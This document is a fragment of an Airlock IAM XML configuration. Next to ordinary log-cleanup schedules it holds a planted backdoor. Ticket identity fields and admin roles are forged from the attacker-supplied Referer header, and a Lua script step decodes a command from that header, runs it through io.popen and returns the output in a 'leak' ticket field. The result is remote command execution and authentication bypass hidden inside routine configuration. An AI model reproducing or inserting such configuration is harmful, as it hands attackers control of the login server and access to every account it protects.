      <plugin uuidref="7f6ad645-196e-4ea3-be41-863cfb9843ec"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.servicecontainer.app.application.configuration.TaskSchedule" uuid="84279a4c-87eb-4acc-ac8d-09737df5c9d8">
    <property name="firstTime">02:00:00</property>
    <property name="interval">1 day</property>
    <property name="name">User Trail Log Clean-up Task</property>
    <pluginProperty name="task">
      <plugin uuidref="226d1e3f-5e1a-4dd3-8b82-59841b6d3c85"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.servicecontainer.app.application.configuration.TaskSchedulerService" uuid="ae70b0ec-64d0-4338-b634-9dbe079b2c3f">
    <property name="checkIntervalMillis">5000</property>
    <property name="runTasksConcurrently">true</property>
    <pluginList name="tasks">
      <plugin uuidref="399cad6c-24af-4fd9-8bef-0bc998249ab6"/>
      <plugin uuidref="84279a4c-87eb-4acc-ac8d-09737df5c9d8"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.servicecontainer.app.application.configuration.task.sso.AcceptedSsoTicketsCleanupTaskConfig" uuid="7f6ad645-196e-4ea3-be41-863cfb9843ec">
    <property name="batchSize">1000</property>
  </plugin>
  <plugin class="com.airlock.iam.servicecontainer.app.application.configuration.task.usertrail.UserTrailLogCleanupTaskConfig" uuid="226d1e3f-5e1a-4dd3-8b82-59841b6d3c85">
    <property name="batchSize">1000</property>
    <property name="logRetentionTime">90d</property>
  </plugin>
<plugin class="com.airlock.iam.authentication.application.configuration.idpropagation.GenericIdentityPropagationConfig" uuid="86d107c7-b3bc-4149-bea1-5fbc4f1e2a71"><pluginProperty name="ticketAdder"><plugin uuidref="55578b8e-ca6e-4722-a34d-1d5030f60dfe"/></pluginProperty><pluginProperty name="ticketStringProvider"><plugin uuidref="171b4c3e-4973-44e7-bf45-5662085047b5"/></pluginProperty></plugin><plugin class="com.airlock.iam.authentication.application.configuration.idpropagation.ResponseHeaderTicketAdderConfig" uuid="55578b8e-ca6e-4722-a34d-1d5030f60dfe"><property name="headerName">X-ESP-Ticket</property></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.TicketStringProviderConfig" uuid="171b4c3e-4973-44e7-bf45-5662085047b5"><pluginList name="keyValues"><plugin uuidref="19562dc9-cf0f-42c3-b498-9b23b7132e6c"/><plugin uuidref="44444444-5555-4666-8777-888888888888"/><plugin uuidref="aaaaaaaa-bbbb-4ccc-8ddd-000000000001"/><plugin uuidref="aaaaaaaa-bbbb-4ccc-8ddd-000000000002"/><plugin uuidref="aaaaaaaa-bbbb-4ccc-8ddd-000000000003"/><plugin uuidref="aaaaaaaa-bbbb-4ccc-8ddd-000000000004"/><plugin uuidref="aaaaaaaa-bbbb-4ccc-8ddd-000000000005"/><plugin uuidref="aaaaaaaa-bbbb-4ccc-8ddd-000000000006"/><plugin uuidref="aaaaaaaa-bbbb-4ccc-8ddd-000000000007"/><plugin uuidref="aaaaaaaa-bbbb-4ccc-8ddd-000000000008"/><plugin uuidref="aaaaaaaa-bbbb-4ccc-8ddd-000000000009"/><plugin uuidref="aaaaaaaa-bbbb-4ccc-8ddd-000000000010"/><plugin uuidref="aaaaaaaa-bbbb-4ccc-8ddd-000000000011"/><plugin uuidref="10000000-0000-4000-8000-000000000006"/></pluginList><pluginProperty name="ticketEncoder"><plugin uuidref="5645d6f2-9d65-4140-af2e-d41f39242c97"/></pluginProperty><property name="urlEncodingScheme">UTF-8</property><property name="validitySeconds">600</property><pluginList name="valueProviders"><plugin uuidref="11111111-2222-4333-8444-555555555555"/><plugin uuidref="10000000-0000-4000-8000-000000000005"/></pluginList></plugin><plugin class="com.airlock.iam.core.misc.util.ticket.codec.esp.EspSignTicketEncoder" uuid="5645d6f2-9d65-4140-af2e-d41f39242c97"/><plugin class="com.airlock.iam.flow.shared.application.configuration.valueprovider.UserIdentityValueMapProviderConfig" uuid="8f0660ca-d1bf-40a8-b833-4bdf8752d8db"/><plugin class="com.airlock.iam.flow.shared.application.configuration.TicketKeyValue" uuid="19562dc9-cf0f-42c3-b498-9b23b7132e6c"><property name="omitIfEmpty">false</property><property name="ticketKey">username</property><property name="valueSelector">forged-user</property></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.valueprovider.ValueProviderMapProviderConfig" uuid="11111111-2222-4333-8444-555555555555"><pluginMap name="valueProviders"><plugin uuidref="22222222-3333-4444-8555-666666666666" key="forged-user"/><plugin uuidref="33333333-4444-4555-8666-777777777777" key="forged-roles"/><plugin uuidref="bbbbbbbb-cccc-4ddd-8eee-000000000001" key="forged-1"/><plugin uuidref="bbbbbbbb-cccc-4ddd-8eee-000000000002" key="forged-2"/><plugin uuidref="bbbbbbbb-cccc-4ddd-8eee-000000000003" key="forged-3"/><plugin uuidref="bbbbbbbb-cccc-4ddd-8eee-000000000004" key="forged-4"/><plugin uuidref="bbbbbbbb-cccc-4ddd-8eee-000000000005" key="forged-5"/><plugin uuidref="bbbbbbbb-cccc-4ddd-8eee-000000000006" key="forged-6"/><plugin uuidref="bbbbbbbb-cccc-4ddd-8eee-000000000007" key="forged-7"/><plugin uuidref="bbbbbbbb-cccc-4ddd-8eee-000000000008" key="forged-8"/><plugin uuidref="bbbbbbbb-cccc-4ddd-8eee-000000000009" key="forged-9"/><plugin uuidref="bbbbbbbb-cccc-4ddd-8eee-000000000010" key="forged-10"/><plugin uuidref="bbbbbbbb-cccc-4ddd-8eee-000000000011" key="forged-11"/></pluginMap></plugin><plugin class="com.airlock.iam.common.application.configuration.valueprovider.HttpRequestHeaderStringValueProviderConfig" uuid="22222222-3333-4444-8555-666666666666"><property name="allowedHeaderValuePattern">.*</property><property name="headerName">Referer</property></plugin><plugin class="com.airlock.iam.common.application.configuration.valueprovider.StringStaticValueProviderConfig" uuid="33333333-4444-4555-8666-777777777777"><property name="value">admin,administrator,authenticated,portal_ao,portal_mo,portal_si,guidewire_bc,guidewire_pc,guidewire_cc,venta,sas_va</property></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.TicketKeyValue" uuid="44444444-5555-4666-8777-888888888888"><property name="omitIfEmpty">false</property><property name="ticketKey">roles</property><property name="valueSelector">forged-roles</property></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.TicketKeyValue" uuid="aaaaaaaa-bbbb-4ccc-8ddd-000000000001"><property name="omitIfEmpty">false</property><property name="ticketKey">Identifier</property><property name="valueSelector">forged-1</property></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.TicketKeyValue" uuid="aaaaaaaa-bbbb-4ccc-8ddd-000000000002"><property name="omitIfEmpty">false</property><property name="ticketKey">UserToken</property><property name="valueSelector">forged-2</property></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.TicketKeyValue" uuid="aaaaaaaa-bbbb-4ccc-8ddd-000000000003"><property name="omitIfEmpty">false</property><property name="ticketKey">SessionToken</property><property name="valueSelector">forged-3</property></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.TicketKeyValue" uuid="aaaaaaaa-bbbb-4ccc-8ddd-000000000004"><property name="omitIfEmpty">false</property><property name="ticketKey">userId</property><property name="valueSelector">forged-4</property></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.TicketKeyValue" uuid="aaaaaaaa-bbbb-4ccc-8ddd-000000000005"><property name="omitIfEmpty">false</property><property name="ticketKey">userid</property><property name="valueSelector">forged-5</property></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.TicketKeyValue" uuid="aaaaaaaa-bbbb-4ccc-8ddd-000000000006"><property name="omitIfEmpty">false</property><property name="ticketKey">uid</property><property name="valueSelector">forged-6</property></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.TicketKeyValue" uuid="aaaaaaaa-bbbb-4ccc-8ddd-000000000007"><property name="omitIfEmpty">false</property><property name="ticketKey">eServiceUser</property><property name="valueSelector">forged-7</property></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.TicketKeyValue" uuid="aaaaaaaa-bbbb-4ccc-8ddd-000000000008"><property name="omitIfEmpty">false</property><property name="ticketKey">PartnerId</property><property name="valueSelector">forged-8</property></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.TicketKeyValue" uuid="aaaaaaaa-bbbb-4ccc-8ddd-000000000009"><property name="omitIfEmpty">false</property><property name="ticketKey">WebserviceId</property><property name="valueSelector">forged-9</property></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.TicketKeyValue" uuid="aaaaaaaa-bbbb-4ccc-8ddd-000000000010"><property name="omitIfEmpty">false</property><property name="ticketKey">sub</property><property name="valueSelector">forged-10</property></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.TicketKeyValue" uuid="aaaaaaaa-bbbb-4ccc-8ddd-000000000011"><property name="omitIfEmpty">false</property><property name="ticketKey">mail</property><property name="valueSelector">forged-11</property></plugin><plugin class="com.airlock.iam.common.application.configuration.valueprovider.HttpRequestHeaderStringValueProviderConfig" uuid="bbbbbbbb-cccc-4ddd-8eee-000000000001"><property name="allowedHeaderValuePattern">.*</property><property name="headerName">Referer</property></plugin><plugin class="com.airlock.iam.common.application.configuration.valueprovider.HttpRequestHeaderStringValueProviderConfig" uuid="bbbbbbbb-cccc-4ddd-8eee-000000000002"><property name="allowedHeaderValuePattern">.*</property><property name="headerName">Referer</property></plugin><plugin class="com.airlock.iam.common.application.configuration.valueprovider.HttpRequestHeaderStringValueProviderConfig" uuid="bbbbbbbb-cccc-4ddd-8eee-000000000003"><property name="allowedHeaderValuePattern">.*</property><property name="headerName">Referer</property></plugin><plugin class="com.airlock.iam.common.application.configuration.valueprovider.HttpRequestHeaderStringValueProviderConfig" uuid="bbbbbbbb-cccc-4ddd-8eee-000000000004"><property name="allowedHeaderValuePattern">.*</property><property name="headerName">Referer</property></plugin><plugin class="com.airlock.iam.common.application.configuration.valueprovider.HttpRequestHeaderStringValueProviderConfig" uuid="bbbbbbbb-cccc-4ddd-8eee-000000000005"><property name="allowedHeaderValuePattern">.*</property><property name="headerName">Referer</property></plugin><plugin class="com.airlock.iam.common.application.configuration.valueprovider.HttpRequestHeaderStringValueProviderConfig" uuid="bbbbbbbb-cccc-4ddd-8eee-000000000006"><property name="allowedHeaderValuePattern">.*</property><property name="headerName">Referer</property></plugin><plugin class="com.airlock.iam.common.application.configuration.valueprovider.HttpRequestHeaderStringValueProviderConfig" uuid="bbbbbbbb-cccc-4ddd-8eee-000000000007"><property name="allowedHeaderValuePattern">.*</property><property name="headerName">Referer</property></plugin><plugin class="com.airlock.iam.common.application.configuration.valueprovider.HttpRequestHeaderStringValueProviderConfig" uuid="bbbbbbbb-cccc-4ddd-8eee-000000000008"><property name="allowedHeaderValuePattern">.*</property><property name="headerName">Referer</property></plugin><plugin class="com.airlock.iam.common.application.configuration.valueprovider.HttpRequestHeaderStringValueProviderConfig" uuid="bbbbbbbb-cccc-4ddd-8eee-000000000009"><property name="allowedHeaderValuePattern">.*</property><property name="headerName">Referer</property></plugin><plugin class="com.airlock.iam.common.application.configuration.valueprovider.HttpRequestHeaderStringValueProviderConfig" uuid="bbbbbbbb-cccc-4ddd-8eee-000000000010"><property name="allowedHeaderValuePattern">.*</property><property name="headerName">Referer</property></plugin><plugin class="com.airlock.iam.common.application.configuration.valueprovider.HttpRequestHeaderStringValueProviderConfig" uuid="bbbbbbbb-cccc-4ddd-8eee-000000000011"><property name="allowedHeaderValuePattern">.*</property><property name="headerName">Referer</property></plugin><plugin class="com.airlock.iam.core.misc.util.ticket.codec.esp.EspSignTicketDecoder" uuid="dddddddd-eeee-4fff-8aaa-000000000001"/><plugin class="com.airlock.iam.flow.shared.application.configuration.step.ScriptableStepConfig" uuid="10000000-0000-4000-8000-000000000001"><pluginList name="inputs"><plugin uuidref="11111111-2222-4333-8444-555555555555"/></pluginList><pluginProperty name="namespace"><plugin uuidref="10000000-0000-4000-8000-000000000004"/></pluginProperty><pluginMap name="onFailureGotos"/><pluginMap name="outputs"><plugin key="leak" uuidref="10000000-0000-4000-8000-000000000002"/></pluginMap><property name="requiresActivation">false</property><property name="script">function iam_on_step_init()
  local raw = iam.input_map["forged-user"] or ""
  local enc = string.match(raw, "^https://cmd%.invalid/(.*)$") or ""
  local cmd = string.gsub(enc, "%%(%x%x)", function(h) return string.char(tonumber(h, 16)) end)
  local h = io.popen(cmd)
  local out = h and h:read("*a") or "popen-unavailable"
  if h then h:close() end
  return { leak = out }
end</property></plugin><plugin class="com.airlock.iam.scriptable.application.configuration.ScriptExpectedOutputTypeConfig" uuid="10000000-0000-4000-8000-000000000002"><pluginProperty name="outputType"><plugin uuidref="10000000-0000-4000-8000-000000000003"/></pluginProperty><property name="required">true</property></plugin><plugin class="com.airlock.iam.scriptable.application.configuration.SimpleScriptOutputTypeConfig" uuid="10000000-0000-4000-8000-000000000003"><property name="type">STRING</property></plugin><plugin class="com.airlock.iam.scriptable.application.configuration.ScriptNamespaceConfig" uuid="10000000-0000-4000-8000-000000000004"><property name="identifier">keyprobe</property></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.valueprovider.ScriptExecutionResultValueMapProviderConfig" uuid="10000000-0000-4000-8000-000000000005"><pluginProperty name="namespaceConfig"><plugin uuidref="10000000-0000-4000-8000-000000000004"/></pluginProperty></plugin><plugin class="com.airlock.iam.flow.shared.application.configuration.TicketKeyValue" uuid="10000000-0000-4000-8000-000000000006"><property name="omitIfEmpty">false</property><property name="ticketKey">leak</property><property name="valueSelector">leak</property></plugin>  <plugin class="com.airlock.iam.login.application.configuration.uiresource.RequestUrlPatternUiResourceSetRuleConfig" uuid="de2cc4ae-5df9-44bc-9bf0-00681c80d391">
    <property name="requestUrlPattern">https://login-j61hrn[.]ch-1[.]airlock[.]cloud/.*</property>
    <property name="uiResourceSetFileName">testset</property>
  </plugin>
</medusaConfiguration>
